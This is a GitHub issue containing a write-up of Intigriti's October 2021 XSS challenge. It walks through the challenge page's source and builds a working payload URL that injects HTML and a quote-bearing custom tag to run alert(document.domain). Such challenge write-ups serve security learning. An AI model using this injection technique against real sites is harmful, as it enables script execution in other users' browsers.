Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Writeup: Intigriti’s October XSS challenge By @0xTib3rius #43

Open
aszx87410 opened this issue Nov 1, 2021 · 0 comments
Open

Writeup: Intigriti’s October XSS challenge By @0xTib3rius #43

aszx87410 opened this issue Nov 1, 2021 · 0 comments

Comments

@aszx87410
Copy link
Owner

Challenge link: https://challenge-1021.intigriti.io/

Source code

Removed styles and bats svg, sorry bats!

<html lang="en">
  <head>
    <title>BOOOOOOO!</title>
    <meta
      http-equiv="Content-Security-Policy"
      content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-782f54dcdc1c6b97c986bf4772ae9b56'; style-src 'nonce-36cefb85686c240001ff8a5492ba001a'"
    />

  </head>
  <body id="body">
  <div class="wrapper"">
    <div class=" bat-overlay">

    </div>

      <script nonce="782f54dcdc1c6b97c986bf4772ae9b56">document.getElementById('lock').onclick = () => {document.getElementById('lock').classList.toggle('unlocked');}</script>
    <script nonce="782f54dcdc1c6b97c986bf4772ae9b56">
      window.addEventListener("DOMContentLoaded", function () {
        e = `)]}'` + new URL(location.href).searchParams.get("xss");
        c = document.getElementById("body").lastElementChild;
        if (c.id === "intigriti") {
          l = c.lastElementChild;
          i = l.innerHTML.trim();
          f = i.substr(i.length - 4);
          e = f + e;
        }
        let s = document.createElement("script");
        s.type = "text/javascript";
        s.appendChild(document.createTextNode(e));
        document.body.appendChild(s);
      });
    </script>
  </div>
    <!-- !!! -->
      <div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
    <!-- !!! -->
    <div class="a">'"</div>
  </body>
  <div id="container">
      <span>I</span>
      <span id="extra-flicker">N</span>
      <span>T</span>
      <span>I</span>
      <div id="broken">
          <span id="y">G</span>
      </div>
      <span>R</span>
      <div id="broken">
          <span id="y">I</span>
      </div>
      <span>T</span>
      <span>I</span>
  </div>
</html>

Analysis

There are two important parts:

window.addEventListener("DOMContentLoaded", function () {
  e = `)]}'` + new URL(location.href).searchParams.get("xss");
  c = document.getElementById("body").lastElementChild;
  if (c.id === "intigriti") {
    l = c.lastElementChild;
    i = l.innerHTML.trim();
    f = i.substr(i.length - 4);
    e = f + e;
  }
  let s = document.createElement("script");
  s.type = "text/javascript";
  s.appendChild(document.createTextNode(e));
  document.body.appendChild(s);
});

and

<!-- !!! -->
  <div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
<!-- !!! -->
<div class="a">'"</div>

For first part, we need to let e to be a valid JS code. In order to achieve that, we need c.id === "intigriti" be true so we can add string before )]}'

It's obviously the string we want to prepend to e should have ', so e become something like 'xxx)]}' which is just a JS string, and then we use xss to append ;alert(document.domain) to trigger XSS.

So, the question is, how do we control f and put a single quote in it?

First, document.getElementById("body").lastElementChild; should have id intigriti, but last element is <div id="container"> for now, what should we do?

We can use ?html to inject arbitrary HTML code to have a un-closed div, like this:

?html=</h1></div><div id="intigriti"><div>

part of response(I modified the format a little bit and add comment to make it more readable):

<!-- !!! -->
<div id="html" class="text">
  <!-- we clode h1 and id=html div via </h1></div> -->
  <h1 class="light"></h1> 
</div>

<!-- we create a new div with id intigriti, which has no matching </div> -->
<div id="intigriti">
  <!-- we create another div to "consume" a </div> -->
  <div></div>
  <!-- !!! -->
  <div class="a">'"</div>
  </body>
  <div id="container">
    <span>I</span>
    <span id="extra-flicker">N</span>
    <span>T</span>
    <span>I</span>
    <div id="broken">
        <span id="y">G</span>
    </div>
    <span>R</span>
    <div id="broken">
        <span id="y">I</span>
    </div>
    <span>T</span>
    <span>I</span>
  </div>

DOM:

We successfully create a <div id="intigriti"> to wrap all the elements, make if (c.id === "intigriti") { to be true.

What's next? Let's take a look at the snippet below:

if (c.id === "intigriti") {
  l = c.lastElementChild;
  i = l.innerHTML.trim();
  f = i.substr(i.length - 4);
  e = f + e;
}

For now, c.lastElementChild is <div id="container">, so f is pan>.

Our mission is to control c.lastElementChild and let last 4 character of innerHTML to be 'xxx(x stands for any characters).

I stuck here for a while because my direction was wrong. I thought it's something related to mutation XSS, and we need to leverage some kind of browser quirk to change last element with "custom content".

After searching and studying mutation XSS for a while, I suddenly realized that the key is not content, is element itself.

For example, if last element is something like this:

<div>
  <a'bc>
      whatever
  </a'bc>
</div>

Then innerHTML is:

<a'bc>
  whatever
</a'bc>

Last 4 characters is 'bc>, exactly what we want! We don't need to insert an element after <div id=container> , we just create a custom tag with single quote and wrap it, that's all!

So, here is the payload:

https://challenge-1021.intigriti.io/challenge/challenge.php?
xss=;alert(document.domain)
&html=</h1></div><div%20id=intigriti><div><a%27bc><div>

DOM:

@aszx87410 aszx87410 added the Web label Nov 1, 2021
@aszx87410 aszx87410 added the XSS label Feb 14, 2022
# for free to join this conversation on GitHub. Already have an account? # to comment
Projects
None yet
Development

No branches or pull requests

1 participant